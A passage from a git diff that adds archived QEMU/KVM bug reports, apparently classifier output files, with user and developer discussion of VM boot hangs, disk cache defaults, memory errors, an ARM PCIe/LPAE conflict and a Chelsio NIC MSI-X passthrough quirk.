create -f qcow2 /mnt/tmp5/disk$i 13G +done +sudo chown fdmanana /mnt/tmp5/disk* + +qemu-system-x86_64 -m 4G \ + -device virtio-scsi-pci \ + -boot c \ +\ + -drive if=none,file=debian5.qcow2,cache=none,aio=native,cache.direct=on,format=qcow2,id=drive0,discard=on \ + -device scsi-hd,drive=drive0,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk2,cache=writeback,format=qcow2,id=drive1,discard=on \ + -device scsi-hd,drive=drive1,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk3,cache=writeback,format=qcow2,id=drive2,discard=on \ + -device scsi-hd,drive=drive2,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk4,cache=writeback,format=qcow2,id=drive3,discard=on \ + -device scsi-hd,drive=drive3,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk5,cache=writeback,format=qcow2,id=drive4,discard=on \ + -device scsi-hd,drive=drive4,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk6,cache=writeback,format=qcow2,id=drive5,discard=on \ + -device scsi-hd,drive=drive5,bus=scsi.0 \ +\ + -drive if=none,file=/mnt/tmp5/disk7,cache=writeback,format=qcow2,id=drive6,discard=on \ + -device scsi-hd,drive=drive6,bus=scsi.0 \ +\ + -drive if=none,file=disk8,cache=writeback,aio=native,cache.direct=on,format=qcow2,id=drive7,discard=on \ + -device scsi-hd,drive=drive7,bus=scsi.0 \ +\ + -drive if=none,file=disk9,cache=writeback,aio=native,cache.direct=on,format=qcow2,id=drive8,discard=on \ + -device scsi-hd,drive=drive8,bus=scsi.0 \ +\ + -drive if=none,file=disk10,cache=writeback,aio=native,cache.direct=on,format=qcow2,id=drive9,discard=on \ + -device scsi-hd,drive=drive9,bus=scsi.0 \ +\ + -net nic,macaddr=52:54:00:12:34:fa -net tap,ifname=tap5,script=no,downscript=no \ + -rtc base=localtime -enable-kvm -machine accel=kvm -smp 4 -cpu host \ + -k pt -serial tcp:127.0.0.1:9997 -display vnc=:5 + + + +Is there anything else I can provided to help debug this? + +Thanks. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/1829498 b/results/classifier/deepseek-1/output/KVM/1829498 new file mode 100644 index 00000000..5bb0d665 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1829498 @@ -0,0 +1,50 @@ + +window 8 stuck during boot on Qemu + +Description of problem: +I've got windows 8 image(64 bit), installed on Qemu(x86-64_softmmu) and then i'm trying to boot/shutdown it in the same Qemu configuration. Windows 8 has feature - when you click "Shutdown" in UI, windows 8 doesn't actually power off, it goes to "Suspend to disc" ACPI state. After shutdown, i'm trying to boot it again, but it stucks during boot. + +I've discovered, that it hangs when windows 8 writes to AHCI's command register, AHCI triggers irq, but windows 8 sends EOI, don't accessing AHCI register,so irq line stills in high state, and irq will be injected again and again, while windows will send EOI on each AHCI interrupt. Strange thing is that it happens only on TCG mode or +with option "kernel-irqchip=off/split", with "kernel-irqchip=on" everything works ok(windows 8 accesses AHCI register and line goes to low state). + +Version-Release number of selected component (if applicable): +Qemu revision: d8276573da58e8ce78dab8c46dd660efd664bcb7 + + +Steps to Reproduce: +1. Install Windows 8 on QEMU(qemu command line: "-enable-kvm -m 1G -hda <image> -serial stdio -cpu core2duo -machine q35,kernel-irqchip=off" +2. Click shutdown in UI. +3. Try to boot again(it will stuck) +4. Kill Qemu and boot again, it will boot, now go to 2) :) + +What host kernel are you using? This sounds like a bug we used to have in KVM a while ago. Maybe it's back. + +The same problem was also alleviated by a guest driver update, are you using the initial release of Windows 8? + + + +My host kernel is 4.15.0-47. Windows 8 version is 6.3.9600. About KVM, i've got same problem in TCG mode. + +Drats, okay. I will investigate. (I can always hope for the easy answer...) + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/436 + + diff --git a/results/classifier/deepseek-1/output/KVM/1850751 b/results/classifier/deepseek-1/output/KVM/1850751 new file mode 100644 index 00000000..f5c15d76 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1850751 @@ -0,0 +1,25 @@ + +kvm flag is not exposed by default + +Hi I found that the kvm flags is not exposed by default, but according to the source code, it should be exposed by default when the CPU Model is a X86CPU. + +we have to specifically add "kvm=on" in QEMU custom cpu args like this: +<qemu:arg value='host,kvm=on,+invtsc,+hypervisor'/> + +Also the libvirt can't expose kvm because this (libvirt assumes the kvm flag is exposed by default, only "kvm hidden = 'true'" can be used. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/1863819 b/results/classifier/deepseek-1/output/KVM/1863819 new file mode 100644 index 00000000..4de045e8 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1863819 @@ -0,0 +1,47 @@ + +repeated KVM single step crashes leaks into SMP guest and crashes guest application + +Guest: Windows 7 x64 +Host: Ubuntu 18.04.4 (kernel 5.3.0-40-generic) +QEMU: master 6c599282f8ab382fe59f03a6cae755b89561a7b3 + +If I try to use GDB to repeatedly single-step a userspace process while running a KVM guest, the userspace process will eventually crash with a 0x80000004 exception (single step). This is easily reproducible on a Windows guest, I've not tried another guest type but I've been told it's the same there also. + +On a Ubuntu 16 host with an older kernel, this will hang the entire machine. However, it seems it may have been fixed by https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5cc244a20b86090c087073c124284381cdf47234 ? + +It's not clear to me whether this is a KVM or a QEMU bug. A TCG guest does not crash the userspace process in the same way, but it does hang the VM. + +I've tried a variety of QEMU versions (3.0, 4.2, master) and they all exhibit the same behavior. I'm happy to dig into this more if someone can point me in the right direction. + +Here's the outline for reproducing the bug: + +* Compile iloop.cpp (attached) as a 32-bit application using MSVC +* Start Windows 7 x64 guest under GDB + * Pass '-enable-kvm -smp 4,cores=2 -gdb tcp::4567' to QEMU along with other typical options + +(need to get CR3 to ensure we're in the right application context -- if there's an easier way to do this I'd love to hear it!) +* Install WinDBG on guest +* Copy SysInternals LiveKD to guest +* Start iloop.exe in guest, note loop address +* Run LiveKD from administrative prompt + * livekd64.exe -w +* In WinDBG: + * !process 0 0 + * Search for iloop.exe, note DirBase (this is CR3) + +In GDB: +* Execute 'target remote tcp::4567' +* Execute 'c' +* Hit CTRL-C to pause the VM +* Execute 'p/x $cr3' + .. continue if not equal to DirBase in WinDBG, keep stopping until it is equal +* Once $cr3 is correct value, if you 'stepi' a few times you'll note the process going in a loop, it should keep hitting the address echoed to the console by iloop.exe + +Crash the process from GDB: +* Execute 'stepi 100000000' +* Watch the process, eventually it'll die with an 0x80000004 error + + + +Some experimentation with newer kernels indicate that this is most likely a KVM bug. + diff --git a/results/classifier/deepseek-1/output/KVM/1877052 b/results/classifier/deepseek-1/output/KVM/1877052 new file mode 100644 index 00000000..4a872af8 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1877052 @@ -0,0 +1,49 @@ + +KVM Win 10 guest pauses after kernel upgrade + + + +Hello! +Unfortunately the bug has apparently reappeared. I have a Windows 10 running in a VM, which after my today's "apt upgrade" goes into pause mode after a few seconds of running time. + +Until yesterday it used to work and I was able to boot the VM. During the kernel update (from 5.4.0-28.33 to 5.4.0-29.34) the VM was active and then went into pause mode. Even after a reboot of my host system the problem still persists: the VM boots for a few seconds and then switches to pause mode. + + +Kind regards, + Andreas + + + + + + + + + +Note: might be related (or not) to bug 1866870 +Let's analyze as independent and dup if it turns out to be a dup. + +The warnings in the report like "MSR(48FH).vmx-exit-load-perf-global-ctrl" are unrelated (in regard to guest hang). +Those happen on +a) too old kernels that don't support the feature +b) mismatch of expectations of a chips vs its actual capabilities +E.g. if libvirt thinks a feature should be supported by a chip, but isn't. +There are toomany SKUs out there to be perfect - so these are red-herrings at best. + +I have not seen similar reports recently nor anyone else chiming in on this one. +After loosing what e thought could be a track to the bgu I'm puzzled what to do now on this? + +@Andreas - did you in the meantime find any new insight on this? + +@Andreas - If we find nothing else to try I'll ping you when I have a newer qemu&libvirt build for Ubuntu 20.10 for you to try. + +I haven't seen any similar reports nor any updates here. +Might I ask if you have got any further since then? + +Qemu 5.0 is available in Ubuntu 20.10 now, if you are willing to upgrade or install a test system that might be worth a try (new libvirt is still WIP, but unlikely to play a role here). +20.10 proposed would even have a 5.8.0.12.14 kernel since a kernel change might have been what started this that might be worth a check as well. + +[Expired for QEMU because there has been no activity for 60 days.] + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/1879646 b/results/classifier/deepseek-1/output/KVM/1879646 new file mode 100644 index 00000000..317dbcfb --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/1879646 @@ -0,0 +1,40 @@ + +[Feature request] x86: dump MSR features in human form + +QEMU might fail because host/guest cpu features are not properly configured: + +qemu-system-x86_64: error: failed to set MSR 0x48f to 0x7fefff00036dfb +qemu-system-x86_64: /root/qemu-master/target/i386/kvm.c:2695: +kvm_buf_set_msrs: Assertion `ret == cpu->kvm_msr_buf->nmsrs' failed. + +To ease debugging, it the MSR features bit could be dumped. + +Example in this thread: + +https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg05593.html + + The high 32 bits are 0111 1111 1110 1111 1111 1111. + + The low 32 bits are 0000 0011 0110 1101 1111 1011. + + The features that are set are the xor, so 0111 1100 1000 0010 0000 0100: + + - bit 2, vmx-exit-nosave-debugctl + - bit 9, host address space size, is handled automatically by QEMU + - bit 15, vmx-exit-ack-intr + - bit 17, vmx-exit-save-pat + - bit 18, vmx-exit-load-pat + - bit 19, vmx-exit-save-efer + - bit 20, vmx-exit-load-efer + - bit 21, vmx-exit-save-preemption-timer + +This output ^^^ is easier to digest. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'invalid' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/237 + + diff --git a/results/classifier/deepseek-1/output/KVM/568445 b/results/classifier/deepseek-1/output/KVM/568445 new file mode 100644 index 00000000..e1125b7f --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/568445 @@ -0,0 +1,131 @@ + +LVM backed drives should default to cache='none' + +Binary package hint: virt-manager + +KVM guests using LVM backed drives appear to experience fairly high iowait times on the host system if the guest has even a moderate amount of disk I/O. This translates to poor performance for the host and all guests running on the host, and appears to be due to caching as KVM defaults to using writethrough caching when nothing is specified. Explicitly disabling KVM's caching appears to result in significantly better host and guest performance. + +This is recommended in at least a few places: +http://<email address hidden>/msg17492.html +http://permalink.gmane.org/gmane.comp.emulators.kvm.devel/48471 +http://<email address hidden>/msg30425.html +http://virt.kernelnewbies.org/XenVsKVM + +The default is cache=writethrough in the interest of data integrity. +I don't think we want to differ from what upstream KVM provides, on +this point. + +Note that the manpage says: + + Some block drivers perform badly with cache=writethrough, most + notably, qcow2. If performance is more important than correctness, + cache=writeback should be used with qcow2. + +If you believe that this default should be changed, please have that +discussion on the upstream kvm and qemu mailing lists. I believe that +upstream has discussed this and has chosen data integrity over +performance as the default. + +Thanks, +:-Dustin + +I fail to see how not using a cache provides any less data integrity than using one. The default caching method, as you quote, is writethrough which according to the manpage states: + + By default, writethrough caching is used for all block device. + This means that the host page cache will be used to read and write + data but write notification will be sent to the guest only when the + data has been reported as written by the storage subsystem. + +The same should be true with no caching, correct? + +The fact that the default writethrough caching results in slower VM disk I/O and a subsequently higher host load is fairly obvious. The links provided in the original report show that LVM backed stores using cache='none' perform significantly better than the default. + +Looks like even upstream suggests disabling cache for best performance when using raw volumes: +http://www.linux-kvm.org/page/Tuning_KVM + +From the above page: + +QEMU also supports a wide variety of caching modes. Writeback is useful for testing but does not offer storage guarantees. Writethrough (the default) is safer, and relies on the host cache. If you're using raw volumes or partitions, it is best to avoid the cache completely, which reduces data copies and bus traffic: + + qemu -drive file=/dev/mapper/ImagesVolumeGroup-Guest1,cache=none,if=virtio + +Copying bug upstream, refiling against qemu-kvm, marking incomplete/wishlist. + +Anthony- + +Can you share the reasoning for the default disk caching method with upstream QEMU? Would it be a good or bad idea to change that in Ubuntu? + +@Jamin- + +Okay, thanks for that last bit. + +So given that information, I think this bug is triaged/wishlist against virt-manager. If virt-manager can detect that you've selected a LVM volume for the backing disk, then it could perhaps force cache=none. + +I doubt, however, that we'll have time to work on this. Feel free to submit a patch, or propose this to the upstream virt-manager community. + +The use-case of virt-manager is casual desktop virtualization. Usually, a user of desktop virtualization benefits from using the host page cache because subsequent launches of a VM are considerably faster since the IO is kept in memory. + +You can manipulate the cache settings via libvirt XML if you so desire. + + + + + + + + + +I noticed the high iowait times a few weeks back when my guest backups were taking a long time to complete. I believe this was sometime after I added a VM to serve as a transparent proxy for my network, but can't be entirely certain. Looking at the e-mail'd cron output, it was fairly obvious that the disk I/O was the problem as several of the guest backups were dropping to 2-3MB/sec reported throughput. These backups are started during the night when there is little to no actual activity on the machines. Checking the host's load and cpu usage confirmed that the problem appeared to be disk I/O related. Searching online seemed to indicate similar problems, but they seemed to be with the disk scheduler being cfq and the recommendation was to move to the deadline scheduler, which the system was already using as its default scheduler. + +After changing each of the guest's LVM backed drive to cache='none' the backups are completing in much more reasonable time. Average throughput for the backups remained at 10MB/sec or better, host load remained low even during more intensive operations. + +@Anthony, + +I'm aware that I can manipulate the cache settings via libvirt's XML. That's currently what I've been doing, manually after every VM creation. However, my point is that qemu clearly recommends that caching not be used with disks stored on raw volumes. Additionally, virt-manager does not provide any means of disabling caching during or after VM creation. I disagree with your assertion regarding cached IO being faster with KVM. All of my tests indicate a multiple fold increase in performance with caching disabled. + +I fail to see how caching provides and more data integrity than no caching. Unless I'm mistaken, no caching provides more integrity by definition. Now, if no caching also provides a mutli-fold performance increase (which it does, as qemu's pages even indicate) why so much resistance to making it the default? + +cache=writethrough and cache=none have equivalent data integrity. + +FWIW, I believe most recent versions of virt-manager default to cache=none for physical devices. + +Can't seem to find anything in the upstream changelogs or source to indicate that such a change was made. + +Anthony, upstream virt-manager doesn't change the cache default, though we do in RHEL. + +Wasn't the idea of having an adaptive cache default for qemu given the okay on qemu-devel, particularly for cache=none for block devs? or am I imagining things (could be the case since I can't seem to find the thread now). + +Description of problem: +Defaults to using cache with an LVM backed storage. The use of caching with raw partitions (LVM) results in significantly lower performance than no cache at all. + +How reproducible: +Always + +Steps to Reproduce: +1. Create a new VM using LVM backed storage + +Actual results: +Cache is enabled for the VM's disks residing within LVM. + +Expected results: +Cache should be disabled for disks residing within LVM. + +Additional info: +http://www.linux-kvm.org/page/Tuning_KVM + +Specifically: + +QEMU also supports a wide variety of caching modes. Writeback is useful for testing but does not offer storage guarantees. Writethrough (the default) is safer, and relies on the host cache. If you're using raw volumes or partitions, it is best to avoid the cache completely, which reduces data copies and bus traffic: + + qemu -drive file=/dev/mapper/ImagesVolumeGroup-Guest1,cache=none,if=virtio + +This has also been reported with Ubuntu at: https://bugs.launchpad.net/ubuntu/+source/virt-manager/+bug/568445 + +Choice of caching mode is a policy decision. These belong in virt-manager or other apps using libvirt. + +AFAIK, this is the place to post feature requests for virt-manager, at least this is where their website directed me. Intentionally selecting a default mode that results in very poor performance (about 1/5 less) when the upstream for the virtualization engine (qemu/kvm) clearly indicates that another mode is preferable is (IMHO) a bad choice. Furthermore, from what I can tell, virt-manager doesn't appear to provide any means of changing or overriding the default. A user must instead manually edit the server's XML definition of the VM in question. + +Reopening against virt-manager as recommended on mailing list. + +Fixed upstream now + diff --git a/results/classifier/deepseek-1/output/KVM/642304 b/results/classifier/deepseek-1/output/KVM/642304 new file mode 100644 index 00000000..c45ed0cb --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/642304 @@ -0,0 +1,47 @@ + +Solaris/x86 v10 hangs under KVM + +Solaris/x86 10 guest hangs when running under KVM with the message "Running Configuration Assistant". It runs fine when -enable-kvm isn't given as a command option. + +Host OS: Linux/x86_64 +Guest OS: Solaris/x86 +Command Line: qemu -hda solaris.img -m 192 -boot c -enable-kvm +Build Configure: ./configure --enable-linux-aio --enable-io-thread --enable-kvm +GIT commit: 58aebb946acff82c62383f350cab593e55cc13dc + +Your bug report doesn't tell us anything about the host system (AMD, Intel, which CPU model etc), +nor which version of KVM you are running, which distro etc? + +Did it work with older versions of qemu-kvm? + +Which version of Solaris/x86 (pointer to version preferably) + +Please provide appropriate information if you want a chance that anyone will look at this. + +Jes + + +1) Host CPU: Intel(R) Core(TM)2 Quad CPU Q6600 @ 2.40GHz +2) KVM doesn't have specific "versions" on Debian. The kernel is built with KVM included. The kernel is version 2.6.32-5 +3) Debian 5.0 +4) No - it's never worked for me, but I've only just got around to posting the bug +5) 10 + + + +As I mentioned in email reply, _every_ package in almost every distribution (the ones I know anyway), Debian included, has a version number attached. + +The git commit ID (58aebb946acff82c62383f350cab593e55cc13dc) appears to be in qemu or qemu-kvm git tree (it's found on both), somewhere past 0.13.0-rc0 (dated Sep 18 2010). But from this commit ID it's impossible to tell if you're using qemu or qemu-kvm. + +What are you using --enable-io-thread for? + + + + + +1: If you can give instructions on how to get a version number for kvm on Debian I'll follow them. "dpkg -l | fgrep kvm" lists nothing. +2: I'm using the qemu git tree. +3: Why are you asking? Are you saying that enable-io-thread is broken with --enable-kvm? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/KVM/809912 b/results/classifier/deepseek-1/output/KVM/809912 new file mode 100644 index 00000000..b890ce73 --- /dev/null +++ b/results/classifier/deepseek-1/output/KVM/809912 @@ -0,0 +1,21 @@ + +qemu-kvm -m bigger 4096 aborts with 'Bad ram offset' + +When I try to start a virtual machine (x86_64 guest on a x86_64 host that has 32GB memory, using kvm_amd module, both host and guest running linux-2.6.39 kernels) with "qemu-system-x86_64 -cpu host -smp 2 -m 4096 ...", shortly after the guest kernel starts, qemu aborts with a message "Bad ram offset 11811c000". + +With e.g. "-m 3500" (or lower), the virtual machine runs fine. + +I experience this both using qemu-kvm 0.14.1 and a recent version from git +commit 525e3df73e40290e95743d4c8f8b64d8d9cbe021 +Merge: d589310 75ef849 +Author: Avi Kivity <email address hidden> +Date: Mon Jul 4 13:36:06 2011 +0300 + +After updating from the QEMU that came with Ubuntu 11.04 to 070411-1ubuntu2 version, I am seeing the bad ram offset error, also. If I drop the memory for the guest (which is Windows 7 Pro 64-bit) from 4 GB to 3300MB, the error goes away. + +Host machine has an AMD Opteron 6128 with 32GB RAM and is running the 64 bit version of Ubuntu 11.04 updated to current versions as of November + +Can you still reproduce this issue with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/LPAE)/1790975 b/results/classifier/deepseek-1/output/LPAE)/1790975 new file mode 100644 index 00000000..9b151319 --- /dev/null +++ b/results/classifier/deepseek-1/output/LPAE)/1790975 @@ -0,0 +1,61 @@ + +Default arm virt machine broken + +This occurs on qemu_v3.0.0 but not on qemu_v2.12.2 (built from qemu_v3.0.0 tag on github) + +Symptom: You'll see something like this in the kernel output: + +[ 1.285210] OF: PCI: host bridge /pcie@10000000 ranges: +[ 1.286246] OF: PCI: IO 0x3eff0000..0x3effffff -> 0x00000000 +[ 1.287061] OF: PCI: MEM 0x10000000..0x3efeffff -> 0x10000000 +[ 1.287820] OF: PCI: MEM 0x8000000000..0xffffffffff -> 0x8000000000 +[ 1.289312] pci-host-generic 4010000000.pcie: can't claim ECAM area [mem 0x10000000-0x1fffffff]: address conflict with /pcie@10000000 [mem 0x10000000-0x3efeffff] +[ 1.290984] pci-host-generic: probe of 4010000000.pcie failed with error -16 + + +Qemu Command Line: qemu-system-arm -machine virt -m 1024M -kernel zImage -serial stdio + +I can post my zImage if anyone has problems reproducing with their own zImage. + +Oh, I forgot, I should have also posted the relevant DTS contents: + + pcie@10000000 { + interrupt-map-mask = <0x1800 0x0 0x0 0x7>; + interrupt-map = <0x0 0x0 0x0 0x1 0x8001 0x0 0x0 0x0 0x3 0x4 0x0 0x0 0x0 0x2 0x8001 0x0 0x0 0x0 0x4 0x4 0x0 0x0 0x0 0x3 0x8001 0x0 0x0 0x0 0x5 0x4 0x0 0x0 0x0 0x4 0x8001 0x0 0x0 0x0 0x6 0x4 0x800 0x0 0x0 0x1 0x8001 0x0 0x0 0x0 0x4 0x4 0x800 0x0 0x0 0x2 0x8001 0x0 0x0 0x0 0x5 0x4 0x800 0x0 0x0 0x3 0x8001 0x0 0x0 0x0 0x6 0x4 0x800 0x0 0x0 0x4 0x8001 0x0 0x0 0x0 0x3 0x4 0x1000 0x0 0x0 0x1 0x8001 0x0 0x0 0x0 0x5 0x4 0x1000 0x0 0x0 0x2 0x8001 0x0 0x0 0x0 0x6 0x4 0x1000 0x0 0x0 0x3 0x8001 0x0 0x0 0x0 0x3 0x4 0x1000 0x0 0x0 0x4 0x8001 0x0 0x0 0x0 0x4 0x4 0x1800 0x0 0x0 0x1 0x8001 0x0 0x0 0x0 0x6 0x4 0x1800 0x0 0x0 0x2 0x8001 0x0 0x0 0x0 0x3 0x4 0x1800 0x0 0x0 0x3 0x8001 0x0 0x0 0x0 0x4 0x4 0x1800 0x0 0x0 0x4 0x8001 0x0 0x0 0x0 0x5 0x4>; + #interrupt-cells = <0x1>; + ranges = <0x1000000 0x0 0x0 0x0 0x3eff0000 0x0 0x10000 0x2000000 0x0 0x10000000 0x0 0x10000000 0x0 0x2eff0000 0x3000000 0x80 0x0 0x80 0x0 0x80 0x0>; + reg = <0x40 0x10000000 0x0 0x10000000>; + msi-parent = <0x8002>; + dma-coherent; + bus-range = <0x0 0xff>; + linux,pci-domain = <0x0>; + #size-cells = <0x2>; + #address-cells = <0x3>; + device_type = "pci"; + compatible = "pci-host-ecam-generic"; + }; + + +I tried to triage this a bit today. + +I'm running a 32-bit linux kernel and I think that's the problem. The ECAM address base is at 0x4010000000, but it gets truncated to 0x10000000 because it's only a 32-bit kernel, but since it's truncated, it conflicts with VIRT_PCIE_MMIO (see hw/arm/virt.c) whose range is from 0x10000000 to 0x3efeffff which matches what we see in the error message. + +Hi Jonathan, + +I sent an email yesterday on the qemu ML. + +" +Please can you try using +qemu-system-arm -machine virt,highmem=off -m 1024M -kernel zImage +-serial stdio + +Does your guest support LPAE? This may be the cause. + +Thanks + +Eric +" + + +LPAE is actually disabled in my kernel config. Knowing the cause now, I can see that qemu would not be able to detect this problem. This error should have been detected in the linux kernel with an indication that the ECAM window was using a 40-bit address but LPAE was not enabled. + diff --git a/results/classifier/deepseek-1/output/NICs./1894869 b/results/classifier/deepseek-1/output/NICs./1894869 new file mode 100644 index 00000000..1efd048a --- /dev/null +++ b/results/classifier/deepseek-1/output/NICs./1894869 @@ -0,0 +1,148 @@ + +Chelsio T4 has old MSIX PBA offset bug + +There exists a bug with Chelsio NICs T4 that causes the following error: + +kvm: -device vfio-pci,host=0000:83:00.7,id=hostpci1.7,bus=pci.0,addr=0x11.7: vfio 0000:83:00.7: hardware reports invalid configuration, MSIX PBA outside of specified BAR + +I was working with a downstream Proxmox developer to try to fix this issue, and they provided me with the following change to make from line 1484 of hw/vfio/pci.c: + +static void vfio_msix_early_setup(VFIOPCIDevice *vdev, Error **errp) + * is 0x1000, so we hard code that here. + */ + if (vdev->vendor_id == PCI_VENDOR_ID_CHELSIO && +- (vdev->device_id & 0xff00) == 0x5800) { ++ ((vdev->device_id & 0xff00) == 0x5800 || ++ (vdev->device_id & 0xff00) == 0x1425)) { + msix->pba_offset = 0x1000; + } else if (vdev->msix_relo == OFF_AUTOPCIBAR_OFF) { + error_setg(errp, "hardware reports invalid configuration, " + +However, I found that this did not fix the issue, so the bug appears to work differently than the one that was present on the T5 NICs which has already been patched. I have attached the output of my lspci -nnkvv + + + +There are no BAR resources for this device: + +83:00.7 Ethernet controller [0200]: Chelsio Communications Inc Device [1425:0000] + Subsystem: Chelsio Communications Inc Device [1425:0000] + Physical Slot: 818 + Control: I/O- Mem- BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr+ Stepping- SERR+ FastB2B- DisINTx- + Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx- + NUMA node: 1 + +Note the lack of any regions here. + + Capabilities: [40] Power Management version 3 + Flags: PMEClk- DSI+ D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) + Status: D3 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- + Capabilities: [48] MSI: Enable- Count=1/32 Maskable+ 64bit+ + Address: 0000000000000000 Data: 0000 + Masking: 00000000 Pending: 00000000 + Capabilities: [60] MSI-X: Enable- Count=32 Masked- + Vector table: BAR=4 offset=00000000 + PBA: BAR=4 offset=00001000 + +There is no BAR4 for either the vector table or the PBA, the device is broken. Maybe check dmesg for resource allocation errors. Note that a device ID of 0000 is also reported for this device. Does this device provide any useful function in the host outside of vfio? + +PS, this can never be true: + ++ (vdev->device_id & 0xff00) == 0x1425)) + +The lower byte would always be 00. It's the wrong fix anyway, BAR4 is still missing. + +There exists a bug with Chelsio NICs that causes the following error: + +kvm: -device vfio-pci,host=0000:83:00.7,id=hostpci1.7,bus=pci.0,addr=0x11.7: vfio 0000:83:00.7: hardware reports invalid configuration, MSIX PBA outside of specified BAR + +This bug was fixed in later versions of Qemu, and is caused by vendor misconfigurations of their MSIX PBA. I know a catchall fix was implemented in recent versions of Qemu, as well as patches applied to hotfix it in earlier versions. I encountered this bug using a Chelsio T4 device, and I believe the patches are for T5 and newer. + +Here is an email chain that has a patch for this situation: +https://patchwork.ozlabs.org/project<email address hidden>/ + +I'd appreciate it if anyone could tell me what the best course of action to fix it on my system would be. I assume the solution is to either build Qemu with this patch applied, or update the version of Qemu in my Proxmox installation, but I do not know which is the better route to go. + +The patch you mention is already included in our QEMU builds, but as you correctly said it's only implemented for T5 devices. + +You'd have to go about patching your QEMU yourself if you want this to work, or message the upstream QEMU maintainers to include a fix (or even better: provide them with the fix :) ). + +In any case, a full 'lspci -nnkvv' output for your device (and any virtual functions thereof) would help. + +I've attached a QEMU patch for you to try, it has "0xNNNN" instead of the actual device ID of your T4, so change that before applying the patch. No liability of this working at all, here be dragons and if it breaks everything you're on your own, but I believe it's simple enough to work, provided the hardware quirk is the same on T4 as on T5. + +You can find our QEMU downstream at https://git.proxmox.com/?p=pve-qemu.git;a=summary, if you put it in debian/patches/pve and mention the file in debian/patches/series you should be able to build a pve-qemu against it. Check out our developer documentation (https://pve.proxmox.com/wiki/Developer_Documentation) as well. + +Created attachment 614 +experimental T4 patch, change 0xNNNN to device id + +Created attachment 615 +Full output of lspci -nnkvv + +Created attachment 616 +Output of lspci -nnkvv with Chelsio devices only + +Thank you so much for your reply! I have attached the lspci you requested. I think the most recent version of qemu actually has a fix for all devices that give this error, as there were reports of some HBA cards also causing it. I would like to try applying your patch, however for several days now my builds of pve-qemu have been getting stopped by a missing dependency called libproxmox-backup-qemu0-dev. I have seen other people on the forums mention that it exists in the repository, but every time I git clone pve-qemu.git and attempt to build I get the same error. I thought it would be taken care of by mk-build-deps, but even that gets stopped by the same missing dependency. Apt install isn't able to find it either. Would you be able to tell me where I can find this dependency? + +You need to configure our PBS repository to get the library: + +# echo "deb http://download.proxmox.com/debian/pbs buster pbstest" >> /etc/apt/sources.list.d/pbs.list +# apt update +# apt install libproxmox-backup-qemu0-dev + +> I think the most recent version of qemu actually has a fix for all devices that give this error, as there were reports of some HBA cards also causing it. + +Hm, not sure about that, the patch I added is against our 5.1 build from the repo. That said, 5.1 is newer than what's currently rolled out, so you can also try just building the repo version without any patches and see if that fixes it. That would be nice, since 5.1 will be rolled out soon-ish anyway :) + +I managed to get the package installed. Apparently my sources.list was set to jessie instead of buster. Fixing this allowed me to download that package, however make still fails, but with new errors. Progress! I'll attach the errors, but I understand if helping me fix this is outside of what you're willing to help me with. +As a side note, the machine that I am configuring this on is not deployed, does not have a deadline for deployment, and has no data stored on it at all. As such, I'm willing to make just about any changes to it that you think might help, or that you may want to test. + +Created attachment 618 +New errors + +Hm, it appears your linker isn't finding the library. Try installing the 'libproxmox-backup-qemu0' package as well, that should have been a dependency of the -dev package though... Make sure /usr/lib/libproxmox_backup_qemu.so.0 exists. If you use "make deb" it also might be necessary to run the build as root. + +I ran into problems building it with the patch applied. I know how to correct those errors, but I decided to check if I could build without the patches and found that the build fails for other reasons, too. I have attached the new errors. I have attached the new output. + +Just so that I understand it correctly, does the value that PCI_VENDOR_ID_CHELSIO stores equal 1425? Since I have two of the same Chelsio NIC installed, would that mean that I have to insert both 8100 and 8300 as my device IDs for my two cards in the patch, and have it evaluate whether they are equal to the value at vdev->device_id for the if statement the same way you did? Or 